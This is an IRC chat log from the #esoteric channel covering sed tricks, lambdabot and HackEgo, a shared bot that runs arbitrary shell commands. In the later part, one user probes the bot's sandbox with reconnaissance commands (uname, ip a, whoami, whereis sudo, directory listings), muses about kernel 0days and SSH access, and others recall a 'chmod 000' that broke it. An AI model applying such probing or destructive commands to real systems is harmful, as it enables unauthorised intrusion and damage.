09esoterica, 02try 06#esoteric 13on 04EFnet 07or 08DALnet.) < 1492442725 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Soni: gzip or gunzip? < 1492442725 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :as in, do you want to decompress only, or compress too? < 1492442740 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :I need both < 1492442758 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :I wanna sed compressed files using a self-contained sed script < 1492442783 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :in other words, I can't call gzip < 1492442873 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Soni: shell out to an external command, sed can do that; if you don't want that, and want to do the computation in sed, then start from https://pts.50.hu/muzcat-mini-latest.tar.gz which has gzip decompression code translated from a template to many programming languages, < 1492442908 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :and from the famous dc.sed program (iirc included in the sed source code) which shows how to do arithmetic in dc (but beware, I think one of the comments in that source code is a lie), < 1492442914 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :wait, sed can call external commands? < 1492442919 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :yea it can < 1492442924 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :I can write a git remote helper in sed? O_o < 1492442933 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :yup, just try hard enough < 1492442942 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :wow, ok < 1492442950 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :'e' is the character used to run a command from the current string i believe < 1492442980 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :and for compression, perhaps just do fake compression where you store uncompressed stuff in gzip format (there are two ways for that, an easy where the whole file is uncompressed, and a subtle where it appears to be compressed but actually everything is literal blocks in the compressed format) < 1492442990 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Soni: yes, it can, read the manual < 1492443072 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :I think the commands are r! and w! but I'm not sure < 1492443073 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :I don't use sed for such things < 1492443155 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :and hope you have a sane sed, not one of those ancient versions that can only handle lines of up to 4096 bytes long < 1492443268 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :GNU sed? < 1492443321 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :gnu sed is probably the best < 1492443336 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :I wish it had a JIT < 1492443348 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`sed "this isnt how you sed, but feel free to test your ideas here" < 1492443348 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/bin/sed: -e expression #1, char 1: unknown command: `"' < 1492443353 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`help < 1492443353 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1492443355 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :gnu always takes the zero-one-infinity rule seriously. too seriously, IMO, so much that it hurts them. < 1492443796 0 :orby!32e0e343@gateway/web/freenode/ip.50.224.227.67 JOIN :#esoteric < 1492443836 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`help < 1492443837 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1492445339 0 :FireFly!znc@freenode/staff/firefly PRIVMSG #esoteric :`sed s/.*/hello/ < 1492445356 0 :FireFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Hmm < 1492445365 0 :FireFly!znc@freenode/staff/firefly PRIVMSG #esoteric :I guess stdin might not be closed < 1492445369 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492445384 0 :FireFly!znc@freenode/staff/firefly PRIVMSG #esoteric :`` sed 's/.*/hello/' . 09(For 02the 06other 13kind 04of 07esoterica, 08try 09#esoteric 02on 06EFnet 13or 04DALnet.) < 1492453782 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :ACTION waits for hackego, the slowest bot in mexico, to respond < 1492453782 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :hey moonythedwarf < 1492453827 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :^^^ Give him a haskell. Or a copy of lethal overengineering. He demands it. < 1492453923 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :on the plus side, it has hardware sprite-sprite and sprite-tile collision detection, so the video processor tells you whether the bullet has hit the spaceship in a pixel-perfect manner < 1492453940 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :no more mucking with hitboxes that don't seem to correspond to the shape of the sprite < 1492453960 0 :orby!32e0e343@gateway/web/freenode/ip.50.224.227.67 PRIVMSG #esoteric :at least there's that < 1492453973 0 :orby!32e0e343@gateway/web/freenode/ip.50.224.227.67 PRIVMSG #esoteric :hmmm, still no esolangs for me, strange < 1492453982 0 :orby!32e0e343@gateway/web/freenode/ip.50.224.227.67 PRIVMSG #esoteric :I'm getting a gateway timeout < 1492453998 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, \/ < 1492453999 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`help < 1492454000 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1492454002 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :of course, you have to update the sprite every scanline for that, so it's not much of a win < 1492454020 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :fungot, how many treasure do you have? < 1492454021 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :wob_jonas: lambda calculus for an 11 year old is playing with her at the moment? nothing :) but tried something earlier today < 1492454033 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :cant remember, does hackego have a haskell compiler? < 1492454040 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :> zip [1..] [2..] < 1492454042 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : [(1,2),(2,3),(3,4),(4,5),(5,6),(6,7),(7,8),(8,9),(9,10),(10,11),(11,12),(12,... < 1492454120 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib < 1492454123 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 M10 02https://esolangs.org/w/index.php?diff=51757&oldid=51756 5* 03Orby 5* (-24) 10Clean up, typos, etc < 1492454131 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, has to be prefixed with > < 1492454136 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :> let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib < 1492454138 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181] < 1492454143 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :werkz < 1492454207 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :moony: I think it does have an old ghc somewhere < 1492454214 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ghc < 1492454215 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ghc: not found < 1492454220 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1492454221 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom < 1492454233 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :i'll look later < 1492454247 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :... or not < 1492454266 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :maybe it's just a trace remaining from that old thing HackEgo/interps was originally supposed to replace < 1492454266 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :but no actual ghc < 1492454267 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :? < 1492454271 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :dunon < 1492454313 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`hugs better not have hugs < 1492454314 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hugs: not found < 1492454345 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :it might be interps stuff. how do we run that? < 1492454358 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls interps < 1492454359 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda < 1492454372 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :yup, there it is < 1492454377 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`interps/ghc < 1492454378 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/interps/ghc: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/interps/ghc: cannot execute: Is a directory < 1492454384 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls interps/ghc < 1492454384 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :but what's the bin command? < 1492454384 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`? `! < 1492454385 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :runghc < 1492454385 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​! is a syntax used in Haskell and Prolog for solving evaluation order problems. < 1492454394 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`? `run < 1492454395 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​`run? ¯\(°​_o)/¯ < 1492454399 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :hehe < 1492454407 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`interps/ghc/runghc < 1492454424 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :i booped hackego by mistake. whoop < 1492454438 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492454447 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :...No output? < 1492454450 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :ACTION thonks < 1492454460 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`interps/ghc/runghc -h < 1492454461 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cat: invalid option -- 'h' \ Try 'cat --help' for more information. \ /hackenv/interps/ghc/runghc: line 5: /opt/ghc/bin/runhaskell: No such file or directory < 1492454471 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :wat < 1492454486 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`cat interps/ghc/runghc < 1492454487 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​#!/bin/bash \ src=$(cat $1) \ if ! ghc -e "$src" 2> /dev/null \ then \ /opt/ghc/bin/runhaskell <<< $src \ fi < 1492454488 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1492454498 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :eww < 1492454533 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :what's that bot? < 1492454540 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`help < 1492454540 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1492454542 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :thats the bot < 1492454545 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :I mean, what's it running on < 1492454553 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :and should I fuck it < 1492454557 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :I mean, hack it < 1492454561 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :Gregor's linux server, somewhere. dont fuck it, the esotericans will nom you. < 1492454578 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :I think the command is `! < 1492454583 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`! < 1492454584 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/!: 4: exec: ibin/: Permission denied < 1492454587 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :never been nommed before < 1492454593 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :but I'm not sure how it works < 1492454608 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :no, like `! language code < 1492454620 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :it just itches to make myself an ssh into it < 1492454624 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, besides, we can revert your shit as long as you dont chmod 000 everything. if you do that you are in serious trouble because you broke the bot < 1492454627 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :for the old collection of esointerpreters, from before HackEgo < 1492454631 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, bot doesnt have direct web access < 1492454648 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric ::( < 1492454652 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :besides just kidding < 1492454665 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`? HackEgo < 1492454666 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico! < 1492454703 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :` uname -a < 1492454703 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1492454730 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :you added a space < 1492454739 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`uname -a < 1492454740 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux < 1492454750 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :umlbox was written by Gregor too. :P < 1492454765 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :or too few backticks < 1492454765 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :``` uname -a < 1492454765 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux < 1492454768 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :well, there are 0days on that kernel < 1492454962 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ping google.com < 1492454963 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :pong < 1492454979 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ifconfig < 1492454980 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ifconfig: not found < 1492454983 0 :sleffy!~sleffy@c-24-7-67-0.hsd1.ca.comcast.net JOIN :#esoteric < 1492454983 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ip -a < 1492454983 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Option "-a" is unknown, try "ip -help". < 1492454990 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ip a < 1492454991 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default \ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 \ inet 127.0.0.1/8 scope host lo \ valid_lft forever preferred_lft forever \ inet6 ::1/128 scope host \ valid_lft forever preferred_lft forever \ 2: sit0: mtu 1480 qdisc noop s < 1492455020 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`whoami < 1492455021 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :whoami: cannot find name for user ID 5000 < 1492455033 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`whereis ls < 1492455036 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: /bin/ls /hackenv/bin/ls /usr/share/man/man1/ls.1.gz < 1492455038 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`whereis sudo < 1492455039 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :sudo: < 1492455089 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`whereis wget < 1492455091 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :wget: /usr/bin/wget /usr/share/man/man1/wget.1.gz < 1492455099 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls /usr/bin /bin < 1492455100 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: cannot access /usr/bin /bin: No such file or directory < 1492455104 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls /usr/bin < 1492455105 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[ \ 2to3 \ 2to3-2.6 \ 2to3-2.7 \ a2p \ addpart \ addr2line \ aot-compile \ appletviewer \ apropos \ apt \ apt-cache \ apt-cdrom \ apt-config \ apt-extracttemplates \ apt-ftparchive \ apt-get \ aptitude \ aptitude-create-state-bundle \ aptitude-curses \ aptitude-run-state-bundle \ apt-key \ apt-mark \ apt-sortpkgs \ ar \ arch \ as \ awk \ axi-cac < 1492455113 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls /bin < 1492455113 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chacl \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ getfacl \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ jo < 1492455114 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, you can obviously grab files. there is a external command for it, `fetch < 1492455138 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :@grab files < 1492455138 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric :Unknown command, try @list < 1492455141 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :and you have `paste, which gives you a link to that file in the mercual repository < 1492455168 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`grab files < 1492455169 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: grab: not found < 1492455263 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :anybody did any fun with the bod? < 1492455267 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :*bot < 1492455341 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`echo $PWD < 1492455342 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​$PWD < 1492455356 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :pwd < 1492455358 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`pwd < 1492455359 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv < 1492455359 0 :hppavilion[0]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org QUIT :Ping timeout: 240 seconds < 1492455398 0 :hppavilion[0]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org JOIN :#esoteric < 1492455561 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, i think most people did < 1492455579 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :you can mess with it as long as you dont upset fizzie or shachaf < 1492455580 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :what kind of fun? :D < 1492455593 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :(they will destroy you if you break it :P ) < 1492455601 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :build a wisdome for example < 1492455606 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`? wisdome < 1492455607 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :The Wisdome is the place where all of HackBot's wisdom is stored and forced to fight to the death for the freedom of being printed out when you type `wisdom. Strictly speaking, it should be called the "Wissphere". < 1492455622 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, Bowserinator or iovoid were the ones who found the chmod 0000 issue (by doing it to the bot lol) < 1492455672 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`apt-get update < 1492455674 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :W: Unable to read /etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list - RealFileExists (2: No such file or directory) \ E: List directory /var/lib/apt/lists/partial is missing. - Acquire (2: No su < 1492455876 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :what made you think that would work lol < 1492455910 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :also, quinor, if you need the full output, redirect output to a file, and then `paste for a link to it < 1492455927 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :yep, I see it < 1492455934 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :nothing, just wanted to test a thing < 1492455941 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :did not expect it to work < 1492455958 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`pwd < 1492455959 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv < 1492455973 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`file . < 1492455974 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​.: directory < 1492455979 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls -la . < 1492455980 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: invalid option -- ' ' \ Try 'ls --help' for more information. < 1492455985 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls -la < 1492455986 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:05 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:05 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 < 1492455999 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, you have to use `` for multiline (yes, thats actually just a linux command) < 1492456002 0 